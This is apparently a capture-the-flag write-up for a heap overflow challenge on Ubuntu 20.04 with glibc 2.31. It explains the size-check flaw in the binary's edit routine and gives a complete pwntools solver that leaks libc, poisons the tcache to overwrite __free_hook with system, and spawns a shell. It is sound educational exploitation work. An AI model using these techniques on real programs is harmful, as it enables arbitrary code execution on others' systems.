overflow-20.04
Heap Overflow on Ubuntu 20.04.
4 min read
[ + ]Introduction
This challenge is the exploitation of a simple heap overflow vulnerability on Ubuntu 20.04. We are working with glibc 2.31 so fortunately there is no need to bypass any advanced mitigation techniques.
[ + ]Reversing
Below you can find the decompiled code snippets, explanations, and details about the heap overflow vulnerability.
TL;DR - Overflow vulnerability caused by user defined input size rather than using the respective heap chunk size.
main
As shown in the image bellow, the program takes some input and it is check against numeric values. If the input matches, the respective subroutine is called.
add
Here we can see we are able to add a node.
At the top we see that the global array
is of size 0xF
. Then we allocate a chunk on the heap of any size less than 0x1FFF
. The pointer to the chunk is stored in array
and the size is stored in size_array
.
size_array
is not referenced in edit
, which is the root cause for the overflow vulnerability.
delete
Here we are able to delete nodes.
We can see that by providing some input less than 0xF
results in the freeing of the chunk from the pointer at array[v1]
, removing the pointer from array[v1]
, and removing the size from size_array[v1]
.
This portion of the code is safe (unlike in uaf 22.04
).
edit
Here we are able to edit a node.
The node is directly modified through the pointer at array[v1]
based on the input we provided.
There are two important parts to this sub-routine:
size_array[v1]
can be modified, allowing us to read other chunks on the heap.- We are able to write
v1
bytes to a chunk (so long as it is less than0x1FFF
) allowing us to overwrite data in other chunks, causing the overflow vulnerability.
show
Here we are able to show a node.
The node and size of the node is pulled from array
and size_array
respectively based on the input we provide. Since we can set the size_array[v1]
value almost arbitrarily in the edit
subroutine, we are able to read data from other chunks on the heap.
[ + ]Exploiting
In order to exploit this overflow vulnerability there are a few steps.
- Leak libc
- Overwrite
__free_hook
withsystem
and ensure correct/bin/sh
parameter - Trigger
__free_hook
(system
)
Let's start with leaking libc. This is exactly the same way of leaking libc as other exploitation methods - free a chunk of size greater than 0x408
such that it ends up in unsorted bins. We also need to protect top-chunk from swallowing the space with another chunk. We can set ourselves up for the next step by allocating three chunks rather than one.
alloc(0x20) # Chunk B
alloc(0x409) # Chunk A
alloc(0x20) # Chunk B
free(1)
fill(0, 0x100, b'\x00')
leak = dump(0)
leak = u64(leak[0x38:0x38 + 8])
free_hook = leak + 0x2268
libc_m = leak - 0x1ecbe0
libc.address = libc_m
log.info("Leak is: " + hex(leak))
log.info("libc is: " + hex(libc_m))
log.info("puts is: " + hex(libc.sym.puts))
When looking at the heap, we see the following:
As show, we have a chunk in unsorted_bins
after being freed and successfully leaked libc.
Now lets look at overwriting the content at __free_hook
and ensuring that /bin/sh
is passed as an argument when system
is called.
# Clean the old chunks. Not necessary but makes it easier to debug.
free(2)
free(0)
# Prep for tcache grooming
alloc(0x20) # 0
alloc(0x20) # 1
alloc(0x20) # 2
alloc(0x20) # 3
alloc(0x20) # 4
alloc(0x20) # 5 - Protect from top chunk
free(4)
free(3)
free(2)
# Set fw pointer of chunk 3 to __free_hook
alloc(0x20) # 2
overflow = b'L' * 0x28 + p64(0x31) + p64(free_hook)
fill(2, len(overflow), overflow)
alloc(0x20) # 3
alloc(0x20) # 4
# Set __free_hook content to system
fill(4, 0x8, p64(libc.sym.system))
# Set /bin/sh as argument when freeing
fill(0, 0x20, b'/bin/sh\0')
# Trigger exploit
free(0)
target.interactive()
Here we are adding the address on __free_hook
to the forward pointer of chunk 3, such that when we edit chunk 4 we will actually be modifying the content at the address of __free_hook
.
So that after we edit chunk 4, we have actually modified the content at free hook:
From there, we can trigger system
by freeing anything really, but to ensure we have /bin/sh
as our argument, we free the chunk 0 which has a forward pointer of /bin/sh\0
.
[ + ]Solution
Solver
# Import pwntools
from pwn import *
from pwnlib.util.packing import *
# Context
context.arch = 'amd64'
# context.log_level = 'DEBUG'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
target = process(['/nyu/overflow'])
pause()
# Establish the functions to interact with the program
def alloc(size):
target.recvuntil(b">")
target.sendline(b"1")
target.recvuntil(b"Size:\n")
target.sendline(str(size).encode('utf-8'))
def free(index):
target.recvuntil(b">")
target.sendline(b"2")
target.recvuntil(b">")
target.sendline(str(index).encode('utf-8'))
def fill(index, size, content):
target.recvuntil(b">")
target.sendline(b"3")
target.recvuntil(b">")
target.sendline(str(index).encode('utf-8'))
target.recvuntil(b"Size:\n")
target.sendline(str(size).encode('utf-8'))
target.recvuntil(b"Content:")
target.send(content)
def dump(index):
target.recvuntil(b">")
target.sendline(b"4")
target.recvuntil(b">")
target.sendline(str(index).encode('utf-8'))
target.recvuntil(b"Content:\n")
content = target.recvline(p64(0) * 2)
return content
def pwn():
alloc(0x20) # Chunk B
alloc(0x409) # Chunk A
alloc(0x20) # Chunk B
free(1)
fill(0, 0x100, b'\x00')
leak = dump(0)
leak = u64(leak[0x38:0x38 + 8])
free_hook = leak + 0x2268
libc_m = leak - 0x1ecbe0
libc.address = libc_m
log.info("Leak is: " + hex(leak))
log.info("libc is: " + hex(libc_m))
log.info("puts is: " + hex(libc.sym.puts))
# Clean the old chunks. Not necessary but makes it easier to debug.
free(2)
free(0)
# Prep for tcache grooming
alloc(0x20) # 0
alloc(0x20) # 1
alloc(0x20) # 2
alloc(0x20) # 3
alloc(0x20) # 4
alloc(0x20) # 5 - Protect from top chunk
free(4)
free(3)
free(2)
# Set fw pointer of chunk 3 to __free_hook
alloc(0x20) # 2
overflow = b'L' * 0x28 + p64(0x31) + p64(free_hook)
fill(2, len(overflow), overflow)
alloc(0x20) # 3
alloc(0x20) # 4
# Set __free_hook content to system
fill(4, 0x8, p64(libc.sym.system))
# Set /bin/sh as argument when freeing
fill(0, 0x20, b'/bin/sh\0')
# Trigger exploit
free(0)
target.interactive()
if __name__ == "__main__":
pwn()